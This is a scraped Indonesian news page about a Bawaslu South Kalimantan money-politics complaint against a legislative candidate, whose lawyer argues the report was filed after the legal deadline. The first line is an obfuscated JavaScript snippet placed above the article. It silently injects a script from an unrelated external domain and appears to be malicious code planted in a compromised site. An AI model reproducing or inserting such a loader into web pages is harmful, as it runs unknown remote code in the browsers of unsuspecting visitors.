(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Laporan Adhariani Lewat Tenggat Waktu, Bawaslu Kalsel Belum Putuskan


BANJARMASIN, Ahmad Heru Kurniawan (AHK) bersama kuasa hukum Zamrony memenuhi panggilan Bawaslu Kalsel. Ia mengklarifikasi dugaan politik uang yang sebelumnya dilaporkan Adhariani terhadap dirinya dan Habib Banua.

Kedatangan calon legislatif (caleg) Partai Demokrat nomor urut 2 Dapil 2 Banjarmasin Utara menurut kuasa hukum AHK melayangkan protes ihwal laporan Badan Pengawas Pemilu (Bawaslu) yang melewati batas.
Zamrony menyebut, pelaporan yang diajukan calon DPD RI Adhariani melewati batas waktu dalam Undang-undang Nomor 7 Tahun 2017. Dalam pasal 454 ayat (6) UU Nomor 7 Tahun 2017 menyebutkan, bahwa laporan pelanggaran Pemilu disampaikan paling lama 7 hari kerja sejak diketahui terjadinya dugaan pelanggaran Pemilu.
Sementara itu, dugaan temuan pelanggaran yang dilakukan AKH bersama Habib Banua pada 14 April, tentunya, jika tujuh hari masa kerja semestinya dilaporkan pada 23 April lalu. “Ini malah disampaikan pada 3 Mei. Kadaluwarsa. Jadi itu sudah 15 hari dan lewat dari aturan yang seharusnya,” ujar Zamrony.
Indrayana Centre for Goverment, Constitution, and Society, kantor hukum dimana Zamrony bernaung langsung mengirim hasil kajian mereka mengenai keterlambatan tersebut dan pihak Bawaslu menerima masukan tersebut dan merencanakan untuk dirapatkan.

Komisioner Divisi Penindakan Pelanggaran Pemilu, Azhar Ridhanie menyatakan saat ini memberikan keterangan terlapor. Ini setelah sebelumnya sudah meminta klarifikasi pelapor dan saksi.
“Setelah mendapatkan klarifikasi, kami pun langsung melakukan proses pengkajian dalam memastikan sangkaan pelanggaran pemilu itu,” katanya Aldo -sapaan akrab Azhar-
Selanjutnya pihak Bawaslu akan memintai keterangan terlapor dari Habib Banua pada Senin (20/5) pukul 10.00 Wita. (mario)

Reporter:Mario
Editor:Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.